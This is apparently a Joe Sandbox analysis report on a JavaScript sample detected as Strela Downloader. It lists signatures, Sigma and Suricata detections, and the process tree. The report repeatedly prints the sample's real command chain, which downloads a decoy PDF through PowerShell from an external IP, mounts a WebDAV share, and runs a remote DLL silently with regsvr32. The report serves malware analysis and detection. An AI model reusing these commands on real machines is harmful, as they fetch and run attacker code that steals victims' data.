Edit tour

Windows Analysis Report
5250250172915227960.js

Overview

General Information

Sample name:	5250250172915227960.js
Analysis ID:	1588287
MD5:	90196e05882d3803ebf6c7a8952718c7
SHA1:	27a8e22336c6c41a46d0e6039c6b3f055b4a0d49
SHA256:	618e529fb5aadd0c172d5cf5a3731bdc0aa59aea8729e68681a95b882ae91014
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3852 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2432 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2788 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 6684 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6048 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 1136 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5876 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1608,i,2494998415737229780,3962503307134278320,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 3192 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5412 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1908 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3852	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6684, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6684, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", ProcessId: 3852, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5412, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 2432, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", ProcessId: 3852, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2432, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 6684, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3192, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5412, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1908, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3192, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5412, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\5250250172915227960.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4147888113078.dll, ProcessId: 2432, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:33:13.412883+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:33:10.265856+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 5250250172915227960.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 5250250172915227960.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:33:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: global traffic

TCP traffic: 192.168.2.6:49711 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49709 -> 193.143.1.205:80

Source: global traffic

